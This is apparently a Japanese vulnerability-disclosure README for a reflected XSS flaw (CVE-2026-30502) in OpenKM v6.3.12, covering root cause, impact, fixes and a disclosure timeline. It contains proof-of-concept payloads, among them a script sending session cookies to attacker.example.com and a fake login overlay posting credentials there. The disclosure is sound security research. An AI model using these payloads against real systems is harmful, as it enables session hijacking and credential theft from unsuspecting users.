
CVE-2026-30502(OpenKM v6.3.12におけるリフレクション型XSS脆弱性)のドキュメントおよび概念実証。技術分析、根本原因、影響評価、およびセキュリティ研究者やペネトレーションテスター向けの修正ガイダンスを含みます。
このリポジトリは、CVE-2026-30502 の責任ある開示を文書化したものです。これは、企業や政府機関で広く使用されているオープンソースの文書管理システム OpenKM v6.3.12 で特定された 反射型クロスサイトスクリプティング (XSS) 脆弱性です。
この脆弱性は、Content パラメータに存在し、ユーザーが提供した入力を適切なサニタイズや出力エンコーディングなしにブラウザに反映させます。攻撃者は、埋め込まれた JavaScript を含む悪意のある URL を作成し、ソーシャルエンジニアリングにより被害者にそれをクリックさせることができ、被害者のブラウザセッション内でスクリプトが実行されます。
⚠️ 深刻度: 中~高 | 攻撃ベクトル: ネットワーク | 必要な権限: なし | ユーザー操作: 必要
OpenKM は、ビジネス文書の管理、監査、配布を行うためのウェブインターフェースを提供する、フリーでオープンソースの文書管理システム (DMS) です。世界中の企業、政府機関、教育機関で使用されています。
v6.3.12反射型クロスサイトスクリプティング (XSS) 脆弱性が、OpenKM v6.3.12 の Content パラメータを介して特定されました。アプリケーションは、ユーザーが提供した入力を HTTP レスポンス本文に反映させる前に検証またはエンコードせず、任意の JavaScript が被害者のブラウザで注入・実行される可能性があります。
保存型 XSS とは異なり、反射型 XSS のペイロードはデータベースに永続化されず、細工された URL 内に埋め込まれます。攻撃は、被害者が悪意のあるリンク (メール、ソーシャルメディア、フィッシングキャンペーン経由で配信) をクリックするように誘導されることに依存し、ペイロードは被害者のブラウザでセッションコンテキストとともに静かに実行されます。
攻撃者が悪意のあるURLを作成
│
▼
被害者がリンクをクリック (フィッシング / ソーシャルエンジニアリング)
│
▼
ブラウザが `Content` パラメータにペイロードを含む GET/POST リクエストを送信
│
▼
OpenKM がサニタイズされていない入力をそのまま HTML レスポンスに反映
│
▼
ブラウザが注入された JavaScript を解析・実行
│
▼
セッションの乗っ取り / 認証情報の収集 / アカウントの侵害
この脆弱性は、Content パラメータに対する入出力セキュリティ制御がアプリケーションで実施されていないことに起因します:
ユーザー作成URL ──► Content パラメータ ──► [検証なし]
──► HTML レスポンスに反映 ──► [エンコーディングなし]
──► ブラウザがスクリプトを実行 ──► アカウント侵害
この脆弱性の悪用に成功すると、次のような影響が生じる可能性があります:
⚠️ 免責事項: 以下の情報は、責任ある開示の原則に基づき、教育およびセキュリティ研究目的でのみ共有されています。所有していない、または明示的な書面による許可を得ていないシステムに対してテストや使用を行わないでください。
// 基本的な実行の証明
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// セッションCookieの外部送信
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// 認証情報フィッシングオーバーレイ
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="ユーザー名"/>'
+'<input name="p" type="password" placeholder="パスワード"/>'
+'<button>サインイン</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>
Content パラメータを反映する脆弱なエンドポイントを特定しますContent パラメータに XSS ペイロードを追加した URL を作成します公開前にベンダーとの調整や CVE プログラムへの関与を含め、このプロセス全体を通じて完全な責任ある開示の原則が守られました。
セキュリティ研究者 | ペネトレーションテスター | バグハンター | CVE コントリビューター
Dharmendra Kumar は、独立したサイバーセキュリティ研究者であり、Web アプリケーションセキュリティ、ペネトレーションテスト、責任ある脆弱性開示を専門としています。彼の研究は、広く使用されているソフトウェアの現実世界のセキュリティ上の欠陥を特定し、責任を持って報告することに焦点を当てており、世界中のユーザーにとってより安全なアプリケーションに貢献しています。
専門分野:
私とつながる:
このリポジトリは、教育および情報提供のみを目的としています。脆弱性の詳細と概念実証のペイロードは、責任ある開示の原則に従って公開されています。著者は、この情報の無許可の使用を容認せず、その責任を負いません。所有していないシステムに対してセキュリティテストを実施する前に、常に明示的な書面による許可を取得してください。
特別な感謝を:
⭐ この研究が役に立った場合は、このリポジトリにスターを付けることを検討してください。
誰にとってもウェブをより安全にするために、オープンに共有されるセキュリティ研究。
© 2026 Dharmendra Kumar — All Rights Reserved
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2026-30502 |
| 製品 | OpenKM |
| 影響を受けるバージョン | v6.3.12 |
| 脆弱性クラス | 反射型クロスサイトスクリプティング (XSS) |
| 脆弱性パラメータ | Content |
| CWE | CWE-79: ウェブページ生成時の入力の不適切な無効化 |
| CVSS ベクトル | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| 深刻度 | 中~高 |
| 発行者 | MITRE CVE プログラム |
| 研究者 | Dharmendra Kumar |
| 開示の種類 | 責任ある / 調整された開示 |
| 弱点 | 説明 |
|---|
| ❌ 入力検証なし | Content パラメータは、制限やフィルタリングなしに生の HTML/JavaScript 文字を受け入れます |
| ❌ 出力エンコーディングなし | 反映された値は、HTML エンティティエンコーディングなしで HTML レスポンスに書き込まれます |
| ❌ CSP ヘッダーの欠如 | インラインスクリプトの実行をブロックする Content Security Policy が適用されていません |
| ❌ HTTPOnly Cookie なし | セッショントークンが JavaScript からアクセス可能であり、直接的な Cookie 盗難が可能です |
| リスク | 説明 |
|---|
| 🍪 セッションハイジャック | document.cookie を介してアクティブなセッショントークンを盗み、被害者になりすまします |
| 🔑 認証情報の収集 | 偽のログインオーバーレイを注入して、平文のユーザー名とパスワードを取得します |
| 📤 情報漏洩 | 機密文書の内容、ユーザーデータ、内部設定を外部に送信します |
| 🎣 フィッシング攻撃 | 信頼された OpenKM ドメイン内で説得力のある偽ページをホストします |
| 👤 アカウント乗っ取り | 被害者に代わって任意の認証済みアクションを実行します |
| ⚙️ 不正なアクション | DMS 内の文書を変更、削除、外部に送信します |
| 🖥️ マルウェア配布 | 被害者を悪意のあるダウンロードをホストする攻撃者管理のサイトにリダイレクトします |
| 推奨事項 | 実装 |
|---|
| ✅ 入力検証 | すべてのユーザー制御パラメータから HTML 特殊文字 (<, >, ", ', ;) を拒否または削除します |
| ✅ 出力エンコーディング | 反映データをレンダリングする前に、OWASP Java Encoder などのライブラリを使用してコンテキストに応じた HTML エンコーディングを適用します |
| ✅ Content Security Policy | 厳格な CSP ヘッダーを展開します: Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ HTTPOnly Cookie | すべてのセッション Cookie に HttpOnly および Secure フラグを設定し、JavaScript からのアクセスをブロックします |
| ✅ セキュリティライブラリ | OWASP AntiSamy または DOMPurify を統合して堅牢なサニタイズを実現します |
| ✅ アップグレード | ベンダーがリリースした最新のセキュリティパッチを直ちに適用します |
| 日付 | イベント |
|---|
| 🔍 発見 | OpenKM v6.3.12 のセキュリティ評価中に脆弱性を特定 |
| 📧 ベンダー通知 | OpenKM セキュリティチームに責任ある開示レポートを提出 |
| 🤝 ベンダー確認 | OpenKM チームが脆弱性レポートを確認 |
| 📝 CVE 割り当て | CVE-2026-30502 が MITRE CVE プログラムを通じて割り当てられる |
| 🌐 公開開示 | 修正期間後の調整された公開開示 |